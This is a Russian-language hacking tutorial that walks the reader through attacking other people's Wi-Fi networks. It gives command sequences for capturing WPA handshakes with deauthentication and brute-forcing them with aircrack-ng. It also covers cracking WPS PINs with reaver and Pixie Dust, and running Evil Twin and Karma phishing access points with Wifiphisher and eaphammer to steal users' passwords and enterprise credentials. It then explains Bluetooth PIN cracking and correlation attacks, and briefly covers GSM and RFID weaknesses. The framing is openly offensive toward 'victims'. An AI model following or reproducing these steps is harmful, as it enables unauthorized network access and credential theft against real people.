Твоя задача перехватить пакеты и подобрать пароль грубой силой(БРУТОМ). В Kali Linux алгоритм такой, сканируешь сеть на точки доступа, выбираешь цель, запоминаешь её BSSID и канал, ловишь хэндшейк, слушая трафик, или форсируешь деаутентификацией.
По шагам: переводишь интерфейс в режим монитора командой ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up, смотришь доступные точки через airodump-ng wlan0
Допустим, выбрал сеть xx, BSSID 00:00:00:00:00:00, канал 1. Запускаешь airodump-ng wlan0 --channel 1 -w cap2, где cap2 = имя файла для хэндшейка. Ждёшь, пока кто-то подключится, или в новом терминале форсируешь деаутентификацией, aireplay-ng -0 5 -a 00:00:00:00:00:00wlan0 (-0 = деаутентификация, 5 = число пакетов, -a = BSSID).
Когда видишь «WPA handshake: 00:00:00:00:00:00», хэндшейк пойман. Брутфорсишь пароль через aircrack-ng -w <путьдословаря> -e <имя_ТД> cap2.cap.
Теперь про WPS, Wi-Fi Protected Setup, протокол для упрощения настройки WiFi, но с дырой. WPS бывает с PIN-кодом из 8 цифр или с кнопкой, где надо нажать на роутере и клиенте. PIN-код уязвим к брутфорсу, подобрав его, получаешь доступ к сети и пароль WPA/WPA2.
!! В 2011 Стефан Фибёк показал, что WPS с PIN ломается за часы!!
PIN - 8 цифр, это 100,000,000 комбинаций, но последняя цифра = контрольная сумма, так что реально 10,000,000. Плюс PIN делится на две части: 4+3 цифры, и точка доступа отвечает после первых 4 (M4) или последних 3 (M6), если они неверные. Итог, 10,000 комбинаций для первых 4 + 1,000 для последних 3 = 11,000. Ещё есть атака Pixie Dust, на роутерах со слабым генератором случайных чисел PIN вычисляется с первой попытки оффлайн.
Алгоритм атаки на WPS, переводишь интерфейс в режим монитора, сканируешь сеть на WPS с wash -i wlan0, чекаешь Pixie Dust через reaver -i wlan0 -b -vv -K 1, пробуешь PIN’ы из базы, если не вышло врубаешь полный перебор с reaver -i wlan0 -b -c <канал> -vv. ПолучиB PIN, доставай пароль, reaver -i wlan0 -b -p
На Windows юзай Router Scan для WPS и сбора инфы, работает с 5 ГГц.
Теперь Evil Twin , фишинг для Wi-Fi, создаёшь фейковую точку доступа, копирующую настоящую, и ловишь пароли юзеров. Утилита Wifiphisher делает это на автомате, ставишь с GitHub, запускаешь sudo wifiphisher, выбираешь цель, сценарий (например, форма логина), жертва видит фейковую ТД, вводит пароль и хоп он твой.
Альтернатива eaphammer. У Evil Twin есть минус, неясно, какую ТД выбрать и сколько ждать. Это решает атака Karma. Устройства (например, телефоны) шлют Probe Request с названиями сохранённых сетей. Ловишь их, видишь ESSID и поднимаешь фейковую ТД. Запускаешь airodump-ng wlan0, смотришь Probe Request, если есть, мутишь атаку через Wifiphisher или вручную. Для ручной атаки пишешь скрипт с hostapd, поднимаешь ТД с нужным ESSID через sudo hostapd configAP.conf, настраиваешь DHCP и инет для юзеров.
.Evil Twin на WPA2-Enterprise, фейковая ТД принимает всех, записывает учётки и хеши. Делаешь через eaphammer, sudo python3 eaphammer -bssid -essid <имя_сети> --channel <канал> --wpa-version 2 –auth wpa-eap –interface wlan0 --creds. Ждёшь и получаешь логин и пароль. Успех зависит от мощности адаптера и близости к жертве
-------------------------------------------------------------------------------------------------------------------
Технология Bluetooth активно используется для атак на беспроводные устройства, такие как мышки, клавиатуры, наушники и прочее, потому что стек протоколов Bluetooth дырявый, как решето, и атаки на него реализовать проще простого.
Если атака удалась, можно получить удалённое выполнение кода на устройстве = это критическая уязвимость, которая открывает полный доступ. Алгоритмы шифрования Bluetooth слабые, что даёт хакерам кучу возможностей. Известно около 10 атак, которые бьют по разным уровням протокола.
Разберём две, взлом PIN-кода и корреляционная атака. Атака на PIN-код нацелена на то, чтобы вычислить код, защищающий Bluetooth-соединение, и расшифровывать все сообщения или обойти аутентификацию. Есть два подхода, первый человеческий фактор, второй математические алгоритмы.
Первый проще, люди часто не меняют дефолтный PIN, потому что не шарят, что это важно. Для телефонов, наушников, часов это обычно 0000. Дефолтный PIN можно найти в доках устройства, а некоторые девайсы имеют вшитый PIN, который не поменяешь без гемора. В таких случаях хакер либо ищет список PIN’ов, либо брутфорсит.
Скрипты для этого юзают таблицы дефолтных PIN’ов, начиная с 0000, или перебирают все комбинации четырёх цифр, это несложно, можно даже попробовать даты типа дня рождения жертвы. Второй подход - матан. Хакер перехватывает трафик между двумя устройствами, которые коннектятся, что делается без особых проблем. Он ловит сообщения с данными вроде IN_RAND и BD_ADDR, потом перебирает возможные PIN’ы, шифруя их через алгоритм E22, чтобы получить ключ инициализации.
С этим ключом он пытается расшифровать следующие сообщения, где лежит инфа для ключа связи. Последние четыре сообщения помогают проверить, правильный ли PIN, хакер считает значение SRES из AU_RANDA и сравнивает с пятым сообщением, потом то же с AU_RANDB и седьмым. В среднем на компе с 450 MHz это занимает 0.8 секунды.
Итог: хакер может слушать весь трафик, даже если он зашифрован.
Корреляционная атака = это атака с известным открытым текстом, когда хакер знает или угадывает часть зашифрованного сообщения. Она бьёт по поточным шифрам, где ключевой поток (гамма последовательность) генерится через комбинацию нескольких регистров сдвига (LFSR) с булевой функцией. Суть в том, чтобы найти статистическую связь между входными данными и выходом шифратора. Для атаки нужна сильная корреляция между одним LFSR и выходом функции. Если хакер знает часть сообщения, он знает часть гамма последовательности (она обычно накладывается через XOR), что позволяет перебрать начальное состояние одного LFSR отдельно.
Чекните утилиту BtleJuice она для атак типа «человек посередине» на Bluetooth Low Energy устройства. GSM и RFID тоже уязвимы, но атаки на них сложные и дорогие, так что актуальность под вопросом. GSM самая популярная технология мобильной связи, но её протоколы, придуманные в 80-х, имеют дыры. Большинство атак бьют по алгоритму A5/1, который шифрует звонки. Его заменили на новые, но A5/1 всё ещё юзают как запасной, что оставляет риски. RFID (радиочастотная идентификация) дешёвая и универсальная технология, юзается везде, от платёжных дорог до отслеживания животных и бесключевого доступа в авто. Скоро, говорят, будут вшивать RFID в евро выше 20. Система состоит из меток с антеннами, которые общаются со считывателями через электромагнитные поля, и базы данных для инфы о помеченных объектах. Но RFID уязвимы, метки читаются без авторизации, что позволяет хакерам подслушивать или мешать сигналу. В отличие от проводных сетей с их фаерволами, RFID атаки бьют децентрализованно, так как метки и считыватели работают в шумной среде.